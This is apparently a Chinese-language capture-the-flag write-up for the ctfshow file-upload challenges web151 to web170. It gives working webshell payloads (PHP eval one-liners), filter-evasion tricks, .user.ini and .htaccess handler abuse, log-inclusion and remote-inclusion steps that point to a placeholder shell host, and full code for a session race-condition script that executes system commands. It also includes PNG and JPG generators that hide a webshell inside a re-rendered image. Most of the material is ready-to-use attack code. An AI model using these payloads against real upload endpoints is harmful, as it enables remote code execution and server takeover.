文件上传检测有三个

  1. 文件名
  2. 文件类型
  3. 文件内容

web151

源码

image-20221224204215335

image-20221224203050054

windows下合成图片码方法。

然后传图片码

进行抓包

image-20221224204251719

抓包后修改后缀为php,然后访问。

image-20221224204343141

出现这种情况就是成功了,然后用蚁剑连接

然后就可以拿到flag了。

解法二

image-20221224204852845

直接把这里的png限制给改成php,那么就可以直接上传一句话木马了,然后进行rce了。

web152

源码

image-20221224205346493

还是一样的格式,

那么还是上传图片码

1
图片码就是一句话木马<?php eval($_POST[1]);?>  加上任意一张图片组成的图片码。

上传成功后进行修改后缀。

image-20221224205601789

然后就去访问url/upload/normal_upload.php

image-20221224205644437

image-20221224205655846

然后就可以拿到flag了。

web153

源码

image-20221224213230135

这道题居然这么快就用到.user.ini,我以为还要到后面的题。

https://blog.csdn.net/qq_63548648/article/details/128165642 这是我对 .htacess和.user.ini用法的总结。

1
这里虽然改文件后缀可以绕过,但是网站无法进行解析,蚁剑也不能连接。所以就得去用.user.ini了

image-20221224231943017

先上传一张图片,然后通过改图片名和内容,上传.user.ini

image-20221224232145899

这里上传的auto_append_file后面跟着的文件名要和后面上传的文件名一样

image-20221224232300737

成功上传,然后去访问/upload/就行

image-20221224232348250

出现这种情况就代表成功了,然后进行蚁剑连接就能拿到flag了。

image-20221224232529978

web154

源码

image-20221224233441983

这道题和上一题解法一样,只不过这道题是把php给过滤掉了,但是我们可以利用短标签

1
<?php eval($_POST[1]);?>   --->  <?= eval($_POST[1]);?>

web155

源码

image-20221224233918091

解法和web154一样,就不多写了

web156

源码

image-20221225003016143

和上一题解法一样,只不过这里过滤了[],那么可以把代码改成{}

还有不一样的是 上传的图片里不能带内容

1
<?= eval($_POST{1});?>

web157

源码

image-20221225003245068

1
2
这里和前两题的差别是这里的<?php eval($_POST[1]);?>不能用了,因为就是{}[]都被过滤了,那么我们就可以换另一种写法
<?= eval($_POST[1])?> ---> php中不带;也是可以正常执行代码的

image-20221225004524802

这里就是和上一题不同的地方。

然后其他都一样。

image-20221225004647307

web158

源码

image-20221225004739667

和上一题解法一样,就不多说了。

web159

源码

image-20221225005311958

这道题可以使用文件的日志包含。

1
include '/var/lo'.'g/nginx/access/lo'.'g'  因为log被过滤了,那么只能用这种方法了

第一步

就是先上传.user.ini以后,然后进行日志包含

image-20221225132701372

第二步

传一句话木马

image-20221225132752973

第三步

image-20221225132810021

进行rce。

web160

源码

image-20221225133639357

这题和上一题的解法一样,只不过这题把空格给过滤了,那么可以用%0d来替代,

1
<?=include1'/var/lo'.'g/nginx/access.lo'.'g'?>   然后转到Hex这里找的1所在的位置,然后把1的16进制处改成0d就可

image-20221225133949942

在空格被过滤的时候 可以用0a 0b 0c 0d来替代

web161

源码

image-20221225151417817

还是一样的东西,这不过这里过滤了好多,试了下,就是把png头给过滤掉了。

这里用GIF图片头可以绕过

1
GIF89a

image-20221225151910771

那么接下来就可以用.user.ini了。

上传.user.ini的时候也要加上GIF89a头

image-20221225152324031

然后就去和前面一样进行日志包含了。

然后进行rce就行了。

web162

源码

image-20221225153759215

这里经过测试不能用 .

那么我们就可以用远程文件包含或者session条件竞争或者利用ascii构造代码(就是利用异或 或 非 与 等来构造)

解法一

条件竞争

https://blog.csdn.net/miuzzx/article/details/109537262?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161223805616780262526924%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161223805616780262526924&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-109537262.pc_search_result_no_baidu_js&utm_term=ctfshow%20%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0&spm=1018.2226.3001.4187

yu师傅写的,可以来参考,我就不写了

条件竞争代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'yu22x'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

解法二

可以利用vps来写,但是这里我不懂搭,而且群主的视频里那个vps打不开了

1
2
http://your-shell.com/1
http://731540450/1

img

1
<?=include'http://xxxxx/'?>  --->这个网址里是一句话木马  <?php eval($_POST[1]);?>

然后直接访问url/upload进行rce就能拿到flag了。

web163

源码

image-20221225163327014

这里就有两种解法,一种是条件竞争,一种就是利用vps

因为手头上没有vps那么这道题就空着了.

image-20221225163510878

如果有的话,直接直接上传,然后访问/upload就行了,

web164

源码

image-20221225170512492

这道题的考点是png图片的二次渲染,就是得在图片里包含我们的php代码,这里图片得用代码来渲染,直接图片和代码合成起来的图片码不行。

渲染代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'3.png'); #保存在本地的图片马
?>

在phpstudy的www里保存这段代码,并且把一张图片也保存下来,并且命名为自己想要命名的名字。

如何就去上传这个渲染后的图片码,并且进行抓包查看就行了。

image-20221225195009472

成功写入代码并且执行了,然后进行rce就行了。

image-20221225195105069

1
这道题是考察png图片的二次渲染,合成的图片码这里行不通。

web165

源码

image-20221225202653862

这里就是利用的jpg二次渲染,但是这道题好像有点问题,好像得找到特殊的图片才能成功,所以这里教方法就行了。

jpg渲染代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
$miniPayload = '<?php echo 123;eval($_POST[0]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
1
用法:  php exp.php a.jpg

然后就会生成一个渲染后的jpg文件。

image-20221225203021359

image-20221225203058469

这是里面的木马。

然后进行抓包rce就行了。

web166

源码

image-20221225211902666

这道题是一道zip类型类型的题目,就是上传文件只能上传zip类型的,然后我们就去本地找一张图片,然后就去转化为zip类型并且上传,并且在zip里写入一句话木马

1
<?php eval($_POST[1]);?>

然后就进行上传。

image-20221225212120262

上传成功后就把request 请求改成POST,刚开始我就是这里没改,找了半天问题。

然后就可以进行rce了。

image-20221225212238112

web167

源码

image-20221225230535662

image-20221225231006048

题目给了这个东西是与.htaccess有关的,所以这道题是得用到.htaccess

1
2
3
<FilesMatch "normal_up.jpg">
setHandler application/x-httpd-php
</FilesMatch>

上面的文件名是,等会要上传的文件。

第一步

先上传一个jpg文件,然后把文件名和文件内容全部改掉,文件名改成.htaccess,文件内容改成上面的代码。

image-20221225231330037

第二步

image-20221225231346882

第三步

访问上传图片的地址,然后进行rce

image-20221225231418066

web168

源码

image-20221225233316993

这道题的坑是在它给的上传目录是没有包含upload的,就是直接访问图片名的话,就是会报错。

知道这里以后就是

1
直接就先上传一个png图片,然后就修改图片内容和后缀就可以了。

然后访问/upload/图片名 就可进行rce了

image-20221225234159992

web169

源码

image-20221225234946679

这道题把 < 给过滤掉了,那么php脚本的话,必须得包含它,那么我们就得换另一种形式了,就是包含日志,那么包含日志的话,得需要一个前提就是得有默认文件index.php

但是这道题没有,那么我们就得进行构造index.php了

image-20221226153025708

成功上传index.php

image-20221226153057506

然后利用.user.ini上传日志包含

image-20221226153313062

image-20221226153332634

发现测试成功,然后就可以进行读取flag了。

image-20221226153612103

这里得进行抓包读取,浏览器查看的话,看不出来。

web170

源码

image-20221226153716031

这题和上一题的解法一模一样,就不多说了。